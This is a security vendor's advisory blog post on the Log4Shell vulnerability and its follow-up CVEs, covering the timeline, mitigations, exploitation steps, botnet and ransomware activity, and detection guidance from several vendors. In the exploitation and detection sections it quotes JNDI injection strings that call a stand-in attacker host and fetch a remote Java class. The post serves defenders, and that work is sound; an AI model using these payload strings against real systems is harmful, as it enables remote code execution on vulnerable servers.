Our website uses cookies to give you the most optimal experience online by: measuring our audience, understanding how our webpages are viewed and improving consequently the way our website works, providing you with relevant and personalized marketing content.
You have full control over what you want to activate. You can accept the cookies by clicking on the “Accept all cookies” button or customize your choices by selecting the cookies you want to activate. You can also decline all non-necessary cookies by clicking on the “Decline all cookies” button. Please find more information on our use of cookies and how to withdraw at any time your consent on our privacy policy.

Managing your cookies

Our website uses cookies. You have full control over what you want to activate. You can accept the cookies by clicking on the “Accept all cookies” button or customize your choices by selecting the cookies you want to activate. You can also decline all non-necessary cookies by clicking on the “Decline all cookies” button.

Necessary cookies

These are essential for the user navigation and allow to give access to certain functionalities such as secured zones accesses. Without these cookies, it won’t be possible to provide the service.
Matomo on premise

Marketing cookies

These cookies are used to deliver advertisements more relevant for you, limit the number of times you see an advertisement; help measure the effectiveness of the advertising campaign; and understand people’s behavior after they view an advertisement.
Adobe Privacy policy | Marketo Privacy Policy | MRP Privacy Policy | AccountInsight Privacy Policy | Triblio Privacy Policy

Social media cookies

These cookies are used to measure the effectiveness of social media campaigns.
LinkedIn Policy

Our website uses cookies to give you the most optimal experience online by: measuring our audience, understanding how our webpages are viewed and improving consequently the way our website works, providing you with relevant and personalized marketing content. You can also decline all non-necessary cookies by clicking on the “Decline all cookies” button. Please find more information on our use of cookies and how to withdraw at any time your consent on our privacy policy.

Skip to main content

Log4Shell - Unauthenticated RCE 0-day exploit (CVE-2021-44228)

Log4Shell – Unauthenticated RCE 0-day exploit (CVE-2021-44228)

In this blog, we provide background on Log4Shell vulnerability (CVE-2021-44228), detection guidance and we recommend mitigations.

Vulnerability info

Atos cybersecurity Blog Security Dive Log4Shell 1b

Key Takeaways

  • The vulnerability CVE-2021-44228 is present in all applications embedding Log4j (from 2.0 to 2.15.0-rc2 version) for audit logging feature. Mainly Apache stack but also other applications.
  • On December 14, the Apache disclosed CVE-2021-45046 (CVSS: 9.0/10) which was patched in log4j version 2.16.0. This vulnerability showed that in certain scenarios it can lead to an information leak and remote execution in some environments (macOS) and local code execution in all environments.
  • On December 17, the Apache disclosed CVE-2021-45105 (CVSS: 7.5/10) which was patched in log4j version 2.17.0. This vulnerability affects versions 2.0 through 2.16. In certain scenarios it can lead to StackOverflowError resulting in Denial of Service attack.
  • On December 28, the Apache disclosed CVE-2021-44832 (CVSS: 6.6/10) which was patched in version 2.17.1. If an attacker has permission to modify the logging configuration file, it’s possible to construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. The exploitability of the flaw is low due to the high attack complexity and required privileges.
  • Although Log4Shell refers to ver. 2.x, versions 1.x have been also reported to have similar vulnerabilities (including RCE). Versions 1.x are no longer supported with critical patching, so are mired with other critical vulnerabilities. Only reliable solution is to upgrade it to version 2.16.0.
  • The vulnerability is based on forcing applications to log a specific string which forces vulnerable system to download and run a malicious script from attacker-controlled domain.
  • According to security researchers, apps and services across the globe have already been actively scanned for vulnerable versions of Log4j by malicious actors.
  • Attack can be blocked with a config change and a patch.
  • Researchers report active exploitation of the vulnerability by various threat groups (e.g. Mirai, Muhstik, Khonsari ransomware, XMRIG miner, Kinsing Cryptominer).

Atos cybersecurity Blog Security Dive Log4Shell 49Author: Loic Castel, Atos TI France

Recommendations

Recommendations are directed to system and software administrators, not limiting to any particular system or software type, as log4j library is widely used. Below instructions must be implemented on internet-facing systems in first order. In case of any doubts, please contact your system or software vendor to validate if log4j is in use and if any additional actions are required.

  1. If you have identified log4j version 2.0 to 2.16 in your environment, immediately upgrade it to log4j-2.17.1 or later.
  2. If you have already upgraded to version 2.17.0 you should upgrade it to version 2.17.1, but it’s not a priority.
  3. If you still run log4j 1.x version – it is not vulnerable to Log4Shell However, it is affected by other critical vulnerabilities. Therefore, it is strongly recommended to plan patching as soon as possible.
  4. If for any reason patching is not an option implement following steps that mitigate the threat:

a – Start your Java Virtual Machine (JVM) server with:

Atos cybersecurity Blog Security Dive Log4Shell 2

set to true, by adding:

Atos cybersecurity Blog Security Dive Log4Shell 3

To be applied everywhere.

Disclaimer: This step mitigates only RCE (CVE-2021-44228 for versions 2.0-2.15-rc2). But it does not mitigate vulnerability discovered under CVE-2021-45046.

b- It is also suggested to manually remove the JNDILookup class from classpath (Oracle JDK advisory) in order to protect against RCE:

Atos cybersecurity Blog Security Dive Log4Shell 4

Please bear in mind that “removing the Jndi Manager class will cause JndiContextSelector and JMSAppender to no longer function.”

Disclaimer: It mitigates both CVE-2021-44228 and CVE-2021-45046 for all 2.x versions.

c. Mitigation for CVE-2021-45105 only:

  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
  • Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

It is worth noting “that only the log4j-core JAR file is impacted by these vulnerabilities. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.”

4. To detect a compromise, perform a log check as is instructed in the following link.
5. It is recommended to let the outbound traffic from servers to internet only via proxy. Outbound communication should be only possible to allowed URLs (if possible). Logs on proxy should be monitored and any suspicious connections according to known indicators of compromise.
6. If you have network artifacts within your monitoring toolset, implement any of the detection rules that have been provided in ‘Detection Guidance’ section (rely on network artifacts).
7. If your server was compromised, disconnect it from the network and report it to a respective Security Officer.

Atos cybersecurity Blog Security Dive Log4Shell 50Shielding and Mitigation mind map. Author: Loic Castel, Atos TI France

[1] https://techjury.net/blog/how-many-cyber-attacks-per-day/#gref

[2] https://www.csoonline.com/article/3227906/what-is-wannacry-ransomware-how-does-it-infect-and-who-was-responsible.html

[3] https://www.zdnet.com/article/ransomware-these-are-the-two-most-common-ways-hackers-get-inside-your-network/

Details

On Thursday, December 9th, 2021, around 8 AM CET a new remote code execution exploit vulnerability has been publicly disclosed by security researcher @P0rZ9 on Twitter. Discovered during a bug bounty engagement against Minecraft servers, the vulnerability is far more impactful than some might have expected. As described by the Recorded Future researchers “Log4j is included with almost all the enterprise products released by the Apache Software Foundation, such as Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, (…). also, in open-source projects like Redis, ElasticSearch, Elastic Logstash, the NSA’s Ghidra, and others”.

Vulnerability exists in JNDI feature (Java Naming and Directory Interface) which “is used in configurations, log messages and parameters”. JNDI is an API (Application Programming Interface) that provides specific functionality (naming and directory implementation) to applications written in Java. Exploitation of functionality is based on potential attackers’ ability to control log messages or log messages parameters that can execute an arbitrary “code loaded from LDAP servers if lookup substitution is enabled”. Lookup function has been implemented with second version (ver 2.x) of log4j library which did not existed in previous (ver 1.x) version. What is more in log4j versions 2.0 to 2.14.1 this parameter is set by default. First mitigations were based on starting log4j with parameter:

Atos cybersecurity Blog Security Dive Log4Shell 41

set to TRUE with this precise command:

Atos cybersecurity Blog Security Dive Log4Shell 42

First attempt of correction appeared in version 2.15.0-rc1 but this one did not cover issue completely. However, was further improved in version 2.15.0-rc2. Unfortunately, on Tuesday December 14, 2021 another vector of an attack has appeared. Due to lack of incomplete non-default configuration in Pattern Layout. An attacker with control over MCD (Thread Context Map) may use non-default configuration to input either Context Lookup or Thread Context Map patterns “to craft malicious input data” what would result “in denial of service (DoS) attack. In this case described above configuration setup did not mitigate the issue. Apache released log4j ver. 2.16.0 for Java8 and log4j ver.2.12.2 for Java7 which covers this new vector (CVE-2021-45056). However, if for any reason patching cannot be performed it is urged to remove JNDILookup class from path:

Atos cybersecurity Blog Security Dive Log4Shell 43

Apache has stated “that Log4j 1.x has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.”

LunaSec has provided example of vulnerable code:


Example of vulnerable code. Source: LunaSec

Researcher Florian Roth has shared YARA exploitation detection rule on his GitHub.

Late Afternoon on December 10th Cisco Talos researchers have released an advisory in which they claimed they’ve spotted active exploitation attempts on their honeypots network and sensor telemetry. In the report, APT-level threat actors have been attributed to active scanning attempt as well. What is important, the researchers called all users to perform aggressive patching if one is unable or uncertain how to determine version of log4j currently implemented.

On Saturday December 12, 2021 Network Security Research Lab NetLab360 has shared results of research based on their honeypots activity. Two waves of attack were captured using Log4J vulnerability. Quick analysis attributed samples to Muhstik and Mirai botnets respectively, both targeting Linux devices.

First, “a new variant of Mirai, which has made the following changes compared to the initial code.”

  • table_init/table_lock_val/table_unlock_val and other mirai-specific configuration management functions have been removed.
  • The attack_init function is also discarded, and the DDOS attack function is called directly by the command processing function.

Also, a ‘.uy’ top-level domain is chosen for its C2 domain name, which is also rare.

Another one is Muhstik, a botnet discovered back in 2018 wich “is a variant of Tsunami that borrows from the Mirai code”. Captured by Netlab sample “Muhstik variant adds a backdoor module (ldm) which has ability to add an SSH backdoor public key” in order “to allow attacker to log directly into remote server without password authentication”.

Atos cybersecurity Blog Security Dive Log4Shell 6

An interesting technique of the botnet is spreading “payload aimlessly”, which will lead to vulnerable machines anyway. Additionally, “in order to know who has been infected, Muhstik adopts TOR network for its reporting mechanism. Before accessing the TOR network, Muhstik queries relay.l33t-ppl.inf through some publicly available DoH services (…) During this process, a number of DNS requests are generated. (…) The domains are not C2 domains but DoH service providers, depends on the situation, readers might be able to use the list to crosscheck their network for possible infections if they are not expecting DoH usage on their network.” Further if reporting through the TOR network is not possible the botnet will try to connect via one of listed below publicly mapped domains.

Atos cybersecurity Blog Security Dive Log4Shell 7

DoH service list:

Atos cybersecurity Blog Security Dive Log4Shell 8

Atos cybersecurity Blog Security Dive Log4Shell 9

Muhstik ELF sample codes. Source: NetLab360

Late afternoon on December 13, 2021, National Institute of Standards and Technology (NIST) has released advisory on National Vulnerability Database (NVD) on log4j vulnerability. Scoring the CVE-2021-44228 as Critical (score 10/10) NIST has not surprised anyone.

Since December 12, 2012 various researchers has caught and attributed active scanning attempts for exploitable systems to specific malware families and organized groups. Actions have been spotted against companies and users worldwide. From Monday 12th of December 2021 researchers have attributed attempts to Mirai, Muhstik, Khonsari ransomware, XMRIG miner, Kinsing Cryptominer. Microsoft Threat Intelligence Center (MSTIC) observed activity of Phosphorus , Hafnium APTs targeting victims using Log4Shell vulnerability.

As mentioned before, on December 14, 2021 Apache disclosed another vulnerability exploiting Log4J. At the beginning scored as 3.7/10 and would result “in denial of service (DoS) attack. However, on December 17, 2021 has updated the vulnerability (CVE-2021-45046), the “Apache Log4j2 Thread Context Lookup Pattern” is now “vulnerable to remote code execution (RCE) in certain non-default configurations”. Score published by Apache has been raised to 9.0/10 and severity to Critical.

On December 17, Apache disclosed yet another vulnerability (CVE-2021-45105 CVSS: 7.5/10) which affects versions 2.0-alpha1 through 2.16.0. These versions “did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack”. Apache released the 2.17 version that remediates the issue.

Additionally, on December 17, 2021, approximately 3pm CET, AdvInter researchers published report describing Conti group active exploiting unpatched vulnerable VMware vCenter servers. On Sunday December 12, 2021 Conti has been seen actively scanning for the initial attack vector in the publicly available Log4J2 vulnerable assets. As mentioned before in this report dozens of vendors have been affected by Log4Shell vulnerability and “VMware is one of them, listing 40 vulnerable products.” Later since December 15, 2021 Conti has been seen targeting of vCenter networks for lateral movement: “Most importantly, AdvIntel confirmed that the criminals pursued targeting specific vulnerable Log4J2 VMware vCenter for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions.” Worth mentioning is fact that “vCenter servers are not normally exposed to the public internet”. However, “while most defenders are focused on blocking Log4Shell attacks on Internet-exposed devices, the Conti ransomware operation shows how the vulnerability can be used to target internal devices that may not receive as much attention.” There are confirmed cases where “Conti ransomware affiliates had already compromised the target networks and exploited vulnerable Log4j machines to gain access to vCenter servers” within last few days. “his means that Conti ransomware members relied on a different initial access vector (RDP, VPN, email phishing) to compromise a network and are currently using Log4Shell to move laterally on the network.” TI urges to make sure all assets are fully patched. This does not limit patching activity only to log4j, however these vulnerabilities (CVE-2021-44228, CVE-2021-45046) are the most critical from that perspective at the moment.

On December 28, the Apache disclosed CVE-2021-44832 (CVSS: 6.6/10) which was patched in version 2.17.1. If an attacker has permission to modify the logging configuration file, it’s possible to construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. The exploitability of the flaw is low due to the high attack complexity and required privileges.

Atos cybersecurity Blog Security Dive Log4Shell 46

Conti Ransomware Log4Shell Operation. Source: AdvIntel

Exploitation

Exploitation requirements:

  • A server with a vulnerable log4j version (listed below).
  • An endpoint with any protocol (HTTP, TCP, etc.) that allows an attacker to send the exploit string.
  • A log statement that logs out the string from that request.

Exploitation steps​:

  • Data from the User gets sent to the server (via any protocol).
  • The server logs the data in the request, containing the malicious payload:

Atos cybersecurity Blog Security Dive Log4Shell 44 (where attacker.com is an attacker controlled server).

  • The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI).
  • This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process.
  • This injected payload triggers a second stage and allows an attacker to execute arbitrary code.

 

If you would like to dive deeper in exploitation of JNDI Injection in Java we recommend reading following article from Vera Code Research lab as well as Github repository. Michael Stepankin has described this topic widely.

Atos cybersecurity Blog Security Dive Log4Shell 11

Atos cybersecurity Blog Security Dive Log4Shell 12The log4j JNDI attack and possible prevention. Source: Govcert.ch

Affected Products

The vulnerability affects all products that use these specific log4j versions independently from software or operating system within which it is used. Vulnerability is present in all applications embedding Log4j (versions from 2.0 to 2.15.0-rc2) for audit logging feature. Vulnerability exists in log4j library not in Operation Systems or Vendor software itself.

According to researchers from SLF for Java Project older versions of log4j (versions 1.x) are not vulnerable to Log4Shell, due to lack of a lookup mechanism which is used in this vulnerability (CVE-2021-44228). However, these versions of log4j are no longer supported with critical patching so are mired with other critical vulnerabilities.

For machines running log4j v1.x we recommend planning patching to version 2.17.1 or higher.

Atos cybersecurity Blog Security Dive Log4Shell 51

Full list of affected vendors can be found on NCSC-NL and CISA Gov. These are GitHub repositories that will continuously update list of affected vendors.

Advisories for Atos product:

Available Vendor Patches

On December 13, 2021, Apache has released log4j-2.16.0. List of distributions has been provided on Apache website. Beside mirrors, control checksum and signature for specific files has been provided. It is recommended to perform verification of integrity before of downloaded package before execution.

On December 28, 2021 Apache has released log4j-2.17.1.

Detection Guidance

1. Atos

To detect if log4j library is present on the linux machine please execute following command:

Atos cybersecurity Blog Security Dive Log4Shell 14

Atos cybersecurity Blog Security Dive Log4Shell 48

Atos Threat Hunting team has prepared the sigma rule for the detection of exploitation. This rule relies on network artifacts (IPS, firewalls, WAFs, proxy logs). Updated on December 14, 2021.

Atos cybersecurity Blog Security Dive Log4Shell 40

In addition, Atos has also been analyzing related attack traffic across multiple customers. Based on this, we have added multiple detection capabilities to our MDR service in order to detect threats associated with this vulnerability.

  1. Detection of Log4Shell exploits by analysis of incoming network traffic. The vulnerability is exploited by sending specially crafted strings which, when parsed by the vulnerable Log4j component, leverage JNDI to send a query to a server controlled by an attacker. The malicious string can be passed in URI as well as request headers. The return traffic from attacker’s server contains a malicious class file which is loaded into memory. JNDI object marshalling has a specific structure which will be present in this return traffic. A sample payload string would resemble the below format. ${jndi:ldap://attacker-domain.com/exploit} However, as attack patterns are being analyzed, attackers are attempting to bypass detection by obfuscating and/or encoding these payloads. Atos’s AIsaac NTA module monitors all network communication and has signatures to detect the presence of such payloads in request traffic, whether in pain text or obfuscated.
  2. Detection of vulnerable Log4j versions and Log4Shell exploits on endpoints.The vulnerability is specific to certain versions of Log4j. AIsaac MDR agent searches the classpath for jar files containing JndiLookup.class to identify the presence of vulnerable Log4j versions. Additional detection capabilities have been added to AIsaac MDR agent to detect any Log4Shell exploit. The agent scans java classes loaded in memory with marshalling and also profiles all network connections made by Java programs in order to detect abnormal processes and network connections.
  3. Leveraging alert and IOC information about Log4Shell. Multiple IDS/IPS and WAF vendors have already released signatures for detection of threats related to Log4j vulnerability. Additionally, IOCs related to exploits of Log4j vulnerabilities are being continuously collated based on information shared in the security community. IOCs related to Log4Shell are continuously updated in AIsaac MDR’s SOAR module, which has been configured to triage all alerts for Log4Shell from various vendors so that they are immediately highlighted to the analysts.
  4. Detection of post-exploit behavior. Due to the widespread usage of Log4j and time taken for deploying the mitigation steps, it is prudent to not rely simply on detection of attacks as it is possible that some attacks might not be detected in time. This means it is also important to focus on post-exploit symptoms. AIsaac MDR’s AI-driven threat hunting models detect lateral movement, data exfiltration and other post-exploit symptoms which can help in identifying a successful exploit of this vulnerability. These models would detect a successful exploit even without the presence of detection signatures.

 

2. CrowdStrike

Based on CrowdStrike advisory, hunting for presence of log4j is not “as simple as looking for its executable, SHA256 or file path.” It has been recommended “to hunt for Log4j invocations in the unknown myriad of ways tens of thousands of different developers may be using it. Because this is the task, the search (…) is internationally verbose”.

CrowdStrike has shared Falcon Insight query which allows administrators “to hunt activities related to Log4Shell.”

Atos cybersecurity Blog Security Dive Log4Shell 16

If you don’t have CrowdStrike Falcon Insight you may use released by Proofpoint Snort & Suricate detection rules available here.

On Sunday, December 12, 2021, CrowdStrike has implemented dedicated Dashboard within Falcon vulnerability panel.

Atos cybersecurity Blog Security Dive Log4Shell 17

Atos cybersecurity Blog Security Dive Log4Shell 18

3. Cisco

Cisco Talos provides its customers with detection and blockage solutions as described below:

Cisco Talos has shared two ClamAV signatures for detection:

  • Exploit.CVE_2021_44228-9914600-1
  • Exploit.CVE_2021_44228-9914601-1

Also Snort SIDs to detect exploitation attempts:

  • 58722 – 58739
  • 300055 – 300057

What is worth mentioning, Cisco claims to observe threats such as Mirai attempting to leverage this vulnerability to automatically infect new systems.

4. Florian Roth’s research

Florian Roth has also shared his research on GitHub. In the repository he shares grep commands which might be used to detect any possible exploitation attempts:

Grep / Zgrep – This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders:

Atos cybersecurity Blog Security Dive Log4Shell 19

This command searches for exploitation attempts in compressed files in folder /var/log and all sub folders:
Atos cybersecurity Blog Security Dive Log4Shell 20

Grep / Zgrep – Obfuscated Variants – These commands cover even the obfuscated variants but lack the file name in a match. This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders:
Atos cybersecurity Blog Security Dive Log4Shell 21

This command searches for exploitation attempts in compressed files in folder /var/log and all sub folders:
Atos cybersecurity Blog Security Dive Log4Shell 22

Find Vulnerable Software in WindowsPowerShell rule (by @CyberRaiju):
Atos cybersecurity Blog Security Dive Log4Shell 23

Please notice that these rules search through specific directories. Specially in Windows case this is important if you have more than one disk.

He also shares “Preliminary YARA rules (in progress)” for detection:

Atos cybersecurity Blog Security Dive Log4Shell 24

On Saturday, December 11, 2021, Florian Roth published a new script aka log4shell-detector, which job is to detect exploitation attempts. “The problem with the log4j CVE-2021-44228 exploitation is that the string can be heavily obfuscated in many, different ways. It is impossible to cover all possible forms with a reasonable regular expression. The idea behind this detector is that the respective characters have to appear in a log line in a certain order to match.” Detector should run on any system that runs Python 3 which is the only requirement for running the program. Important, no additional modules are required.

Atos cybersecurity Blog Security Dive Log4Shell 25
Log4Shell-Detector. Source: Florian Roth’s GitHub

Usage of log4shell-detector is simple and fully described on GitHub repository where it is available.

Atos cybersecurity Blog Security Dive Log4Shell 26

On Sunday December 13, 2021 Florian Roth has published sigma rule for exploitation attempts detection, which can be found on Sigma HQ GitHub repository.

Around 1 PM CET the researcher released new version of Fenrir tool. Version 0.9.0 is specially crafted for Log4Shell detection and allows to search for all sort of IoC’s – file hashes as well.

Atos cybersecurity Blog Security Dive Log4Shell 27Fenrir tool with Log4Shell release. Source. Florian Roth’s GitHub

The tool can be cloned from GitHub repository. Researcher Rob Fuller has shared vulnerable log4j executables file hashes in following repositories: MD5 SHA1 SHA256

6. Amazon Web Services

On Saturday, December 11, 2021, a new protection rule “Log4JRCE” provided as an AWS Managed Rule was added to the WSManagedRulesKnownBadInputsRuleSet.

Atos cybersecurity Blog Security Dive Log4Shell 28

Although, detailed specification of the managed rule has not been published, the rule itself is already available in KnownBadInputsRuleSet version 1.2 or later within AWS WAF. Its effectiveness has been confirmed by researcher Suzuki Ryo and has been briefly described below.

Vulnerability exploitation is based on malicious requests that contain a character string that causes a malfunction of log4j header and body. Even though AWS WAF doesn’t support entire header inspection, especially in web requests that the entire body content exceed 8 KB (“Only the first 8,192 bytes of the request body are forwarded to AWS WAF for inspection”) the request was detected and confirmed it’s blocking was possible.

Atos cybersecurity Blog Security Dive Log4Shell 29Source: AWS

Verification has been performed on requests that correspond directly to the rule Log4JRCE and was supposed to cause malfunction of log4j. “An attempt was made to rewrite the UserAgent string contained in the request header.”

${jndi:ldap://URL} → Block (403)

Atos cybersecurity Blog Security Dive Log4Shell 30

${jndi → Block (403)

Atos cybersecurity Blog Security Dive Log4Shell 31

${jnd → Pass (200)

Atos cybersecurity Blog Security Dive Log4Shell 32

6. CheckPoint

Check Point Security has released signatures for IDS/IPS which are available under the following link. The Vendor has also provided solution on how to verify if the present setup already contains the fix and how to update the IPS profile with the latest protection solution marked as sk176884. As we can read in the advisory, to check if your setup already contains the IPS update which covers the vulnerability one should check the Gateways & Servers tab, switch the columns to Threat Prevention. A column with the title installed IPS version for each gateway is shown. The packages 634218248 & 635218248 include the update.

Atos cybersecurity Blog Security Dive Log4Shell 33

7. PaloAlto Unit42

In the meantime, Palo Alto Unit42 has released information that Next-Generation Firewalls, Cortex XDR, Cortex XSOAR and Prisma Cloud Compute Defender provide protection against CVE-2021-44228 aka Log4Shell. As we read further, the Vendor describes:

  • Next-Generation Firewalls with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 91991 (initially released using Applications and Threat content update version 8498 and further enhanced with version 8499). Additionally, attacker infrastructure is continuously being monitored and blocked.
  • Cortex XDR customers running Linux agents and content 290-78377 are protected from a full exploitation chain using the Java Deserialization Exploit protection module. Other Cortex XDR customers are protected against various observed payloads stemming from CVE-2021-44228 through Behavioral Threat Protection (BTP). Additionally, Cortex XDR Pro customers using Analytics will have post-exploitation activities detected related to this vulnerability.
  • Cortex XSOAR customers can leverage the “CVE-2021-44228 – Log4j RCE” pack to automatically detect and mitigate the vulnerability. Read more on the XSOAR marketplace.
  • Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs. Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running a vulnerable Log4j package or JAR file with a version equal to or older than 2.14.1.

8. Microsoft

On Sunday, December 12, 2021, Microsoft has updated advisory related to Log4Shell vulnerability with information that AV detects components and behaviors related to this threat.

Detection names:

  • On Windows:
    • Trojan:Win32/Capfetox.AA – detects attempted exploitation on the attacker machine
    • Trojan:Win64/DisguiseXMRigMiner – detection for coin mining post exploitation payloads
    • HackTool:Win32/Capfetox.A!dha – detects attempted exploitation on the attacker machine
    • VirTool:Win64/CobaltSrike.A, TrojanDropper:PowerShell/Cobacis.A – detects Cobalt Strike Beacon loaders

 

  • On Linux:
    • Trojan:Linux/SuspectJavaExploit.A, Trojan:Linux/SuspectJavaExploit.B,
    • Trojan:Linux/SuspectJavaExploit.C – blocks Java processes downloading and executing payload through output redirection
    • Trojan:Linux/BashMiner.A – detects post-exploitation cryptocurrency miner
    • Exploit:Linux/CVE-2021-44228.A, Exploit:Linux/CVE-2021-44228.B – detects exploitation

Additionally, two Defender advanced queries have been provided.

First query “is designed to flag exploitation attempts for cases where the attacker is sending the crafted exploitation string using vectors such as User-Agent, Application or Account name. The hits returned from this query are most likely unsuccessful attempts, however the results can be useful to identity attackers’ details such as IP address, Payload string, Download URL, etc.”

Atos cybersecurity Blog Security Dive Log4Shell 34

Second one “looks for possibly vulnerable applications using the affected Log4j component. Please triage the results to determine applications and programs that may need to be patched and updated.”

Atos cybersecurity Blog Security Dive Log4Shell 35

Beside those two, Microsoft has released sigma Sentinel queries for Possible exploitation of Apache log4j component detection and Crypto currency miners EXECVE detection. Microsoft Sentinel also provides a CVE-2021-44228 Log4Shell Research Lab Environment for testing the vulnerability.

9. Cybereason

The Cybereason research team has developed the (..) code that exploits the (…) vulnerability and the payload therein forces the logger to reconfigure itself with the vulnerable setting disabled – this effectively blocks any further attempt to exploit Log4Shell on this server. It is a relatively simple fix that requires only basic Java skills to implement and is freely available to any organization. We recommend patching affected systems as soon as possible. For systems that can’t be updated (or at least not updated immediately) Cybereason researchers have discovered a way to disable the vulnerability”. Aka Logout4Shell – the vaccine code is available on the GitHub repository with quick step by step instruction as follows:

1 – Download this report and build it

Atos cybersecurity Blog Security Dive Log4Shell 36

2 – Download, build and run Marshalsec’s ldap server

Atos cybersecurity Blog Security Dive Log4Shell 37

3 – To immunize a server

Atos cybersecurity Blog Security Dive Log4Shell 38

Indicators of Compromise

The curated list of sources for IoCs and threat reports can be found on the following: GitHub repo.

The list of malicious IPs which have been spotted actively scanning for RCE attempts has been provided on listed below repositories:

GitLab CrowdSec GreyNoise

Threat Intelligence team strongly recommends checking logs for incoming traffic and block listed IPs.

Payloads caught during the scanning of GreyNoise honeypots.

To find more IoCs related to log4j aka Log4Shell vulnerability please check also:

TweetFeed ThreatFox DB Malware Bazaar URLHaus

References

Important links:

General 3rd party Advisories:

National Advisories:

Share this article

Follow us on